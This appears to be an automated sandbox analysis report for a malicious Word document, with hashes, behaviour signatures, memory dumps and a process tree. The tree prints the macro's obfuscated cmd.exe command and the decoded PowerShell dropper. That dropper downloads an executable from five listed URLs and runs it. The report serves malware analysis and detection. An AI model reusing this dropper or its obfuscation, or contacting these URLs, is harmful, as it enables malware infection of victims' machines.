Overview

overview

10

Static

static

8

74113ff23b...82.doc

windows7-x64

10

74113ff23b...82.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    108s
  • max time network
    114s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 20:51

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    74113ff23ba2b9a5f81dd7d7168d96adaa1ebab72cdc0b29ca5a3eeea5334682.doc

  • Size

    99KB

  • MD5

    a1541e59807a545b2586844edfc2d83d

  • SHA1

    a67c7ea51420ff63e063425b0897781943a62b78

  • SHA256

    74113ff23ba2b9a5f81dd7d7168d96adaa1ebab72cdc0b29ca5a3eeea5334682

  • SHA512

    207763b00957aac6d7d233f8db060615beb1eb399b5edef24c3993eb7dd6dba308a98c85c1bf3e015a3ea294752a518be7d447592187bb1ac92e704f2296d4fe

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://intraelectronics.com/9CBQqGip_YBdeLeOmn
exe.dropper

http://linkingphase.com/Ye09uJm_1TJzK_0
exe.dropper

http://radwomenbusinessowners.com/pnKAX_FAi9jc
exe.dropper

http://www.motoruitjes.nl/BrG_4Tb3uEk0N
exe.dropper

http://kantova.com/xRVVM3r_gsFZOEnE

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\74113ff23ba2b9a5f81dd7d7168d96adaa1ebab72cdc0b29ca5a3eeea5334682.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1108
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1564
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c %ProgrAMData:~0,1%%ProgRAmdATA:~9,2% /V /r "seT eW8=;'kollawerif'=tfetareneg$}}{hctac}};kaerb;'bmBG'=jnsamehcs$;phelbitapmoC$ metI-ekovnI{ )00008 eg- htgnel.)phelbitapmoC$ metI-teG(( fI;'chlanoigeR'=cvgnizylana$;)phelbitapmoC$ ,rnemil$(eliFdaolnwoD.dvtnuoccAnaoLotuA${yrt{)fznedooW$ ni rnemil$(hcaerof;'exe.'+poerihsdrofdeB$+'\'+cilbup:vne$=phelbitapmoC$;'nhecnailla'=izgnisrap$;'338' = poerihsdrofdeB$;'zlPCT'=ojaniloraChtuoS$;)'@'(tilpS.'EnEOZFsg_r3MVVRx/moc.avotnak//:ptth@N0kEu3bT4_GrB/ln.sejtiurotom.www//:ptth@cj9iAF_XAKnp/moc.srenwossenisubnemowdar//:ptth@0_KzJT1_mJu90eY/moc.esahpgniknil//:ptth@nmOeLedBY_piGqQBC9/moc.scinortceleartni//:ptth'=fznedooW$;tneilCbeW.teN tcejbo-wen=dvtnuoccAnaoLotuA$;'mcesiouqrut'=zlaniloraChtroN$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& fOr /L %0 IN ( 734 , -1 , 0 ) Do sEt El=!El!!eW8:~ %0, 1!& if %0 lss 1 echO !El:~ 4! | FOR /F "tokens=2 delims=wHF" %p IN ('ftype^^^|findstr mdFi')DO %p "
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2012
        • C:\Windows\SysWOW64\cmd.exe
          CmD /V /r "seT eW8=;'kollawerif'=tfetareneg$}}{hctac}};kaerb;'bmBG'=jnsamehcs$;phelbitapmoC$ metI-ekovnI{ )00008 eg- htgnel.)phelbitapmoC$ metI-teG(( fI;'chlanoigeR'=cvgnizylana$;)phelbitapmoC$ ,rnemil$(eliFdaolnwoD.dvtnuoccAnaoLotuA${yrt{)fznedooW$ ni rnemil$(hcaerof;'exe.'+poerihsdrofdeB$+'\'+cilbup:vne$=phelbitapmoC$;'nhecnailla'=izgnisrap$;'338' = poerihsdrofdeB$;'zlPCT'=ojaniloraChtuoS$;)'@'(tilpS.'EnEOZFsg_r3MVVRx/moc.avotnak//:ptth@N0kEu3bT4_GrB/ln.sejtiurotom.www//:ptth@cj9iAF_XAKnp/moc.srenwossenisubnemowdar//:ptth@0_KzJT1_mJu90eY/moc.esahpgniknil//:ptth@nmOeLedBY_piGqQBC9/moc.scinortceleartni//:ptth'=fznedooW$;tneilCbeW.teN tcejbo-wen=dvtnuoccAnaoLotuA$;'mcesiouqrut'=zlaniloraChtroN$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&& fOr /L %0 IN ( 734 , -1 , 0 ) Do sEt El=!El!!eW8:~ %0, 1!& if %0 lss 1 echO !El:~ 4! | FOR /F "tokens=2 delims=wHF" %p IN ('ftype^^^|findstr mdFi')DO %p "
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1656
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echO pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $NorthCarolinalz='turquoisecm';$AutoLoanAccountvd=new-object Net.WebClient;$Woodenzf='http://intraelectronics.com/9CBQqGip_YBdeLeOmn@http://linkingphase.com/Ye09uJm_1TJzK_0@http://radwomenbusinessowners.com/pnKAX_FAi9jc@http://www.motoruitjes.nl/BrG_4Tb3uEk0N@http://kantova.com/xRVVM3r_gsFZOEnE'.Split('@');$SouthCarolinajo='TCPlz';$Bedfordshireop = '833';$parsingzi='alliancehn';$Compatiblehp=$env:public+'\'+$Bedfordshireop+'.exe';foreach($limenr in $Woodenzf){try{$AutoLoanAccountvd.DownloadFile($limenr, $Compatiblehp);$analyzingvc='Regionalhc';If ((Get-Item $Compatiblehp).length -ge 80000) {Invoke-Item $Compatiblehp;$schemasnj='GBmb';break;}}catch{}}$generateft='firewallok'; "
            4⤵
              PID:1708
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=wHF" %p IN ('ftype^|findstr mdFi') DO %p "
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1756
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c ftype|findstr mdFi
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:896
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" ftype"
                  6⤵
                    PID:1700
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr mdFi
                    6⤵
                      PID:1364
                  • C:\Windows\SysWOW64\cmd.exe
                    Cmd
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1800
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell $NorthCarolinalz='turquoisecm';$AutoLoanAccountvd=new-object Net.WebClient;$Woodenzf='http://intraelectronics.com/9CBQqGip_YBdeLeOmn@http://linkingphase.com/Ye09uJm_1TJzK_0@http://radwomenbusinessowners.com/pnKAX_FAi9jc@http://www.motoruitjes.nl/BrG_4Tb3uEk0N@http://kantova.com/xRVVM3r_gsFZOEnE'.Split('@');$SouthCarolinajo='TCPlz';$Bedfordshireop = '833';$parsingzi='alliancehn';$Compatiblehp=$env:public+'\'+$Bedfordshireop+'.exe';foreach($limenr in $Woodenzf){try{$AutoLoanAccountvd.DownloadFile($limenr, $Compatiblehp);$analyzingvc='Regionalhc';If ((Get-Item $Compatiblehp).length -ge 80000) {Invoke-Item $Compatiblehp;$schemasnj='GBmb';break;}}catch{}}$generateft='firewallok';
                      6⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1512

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/1108-58-0x0000000075D01000-0x0000000075D03000-memory.dmp

            Filesize

            8KB

            Download

          • memory/1108-54-0x00000000727A1000-0x00000000727A4000-memory.dmp

            Filesize

            12KB

            Download

          • memory/1108-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1108-61-0x000000007120D000-0x0000000071218000-memory.dmp

            Filesize

            44KB

            Download

          • memory/1108-75-0x000000007120D000-0x0000000071218000-memory.dmp

            Filesize

            44KB

            Download

          • memory/1108-57-0x000000007120D000-0x0000000071218000-memory.dmp

            Filesize

            44KB

            Download

          • memory/1108-55-0x0000000070221000-0x0000000070223000-memory.dmp

            Filesize

            8KB

            Download

          • memory/1108-74-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1512-72-0x000000006A930000-0x000000006AEDB000-memory.dmp

            Filesize

            5.7MB

            Download

          • memory/1512-73-0x000000006A930000-0x000000006AEDB000-memory.dmp

            Filesize

            5.7MB

            Download

          • memory/1512-76-0x000000006A930000-0x000000006AEDB000-memory.dmp

            Filesize

            5.7MB

            Download

          • memory/1564-60-0x000007FEFBDA1000-0x000007FEFBDA3000-memory.dmp

            Filesize

            8KB

            Download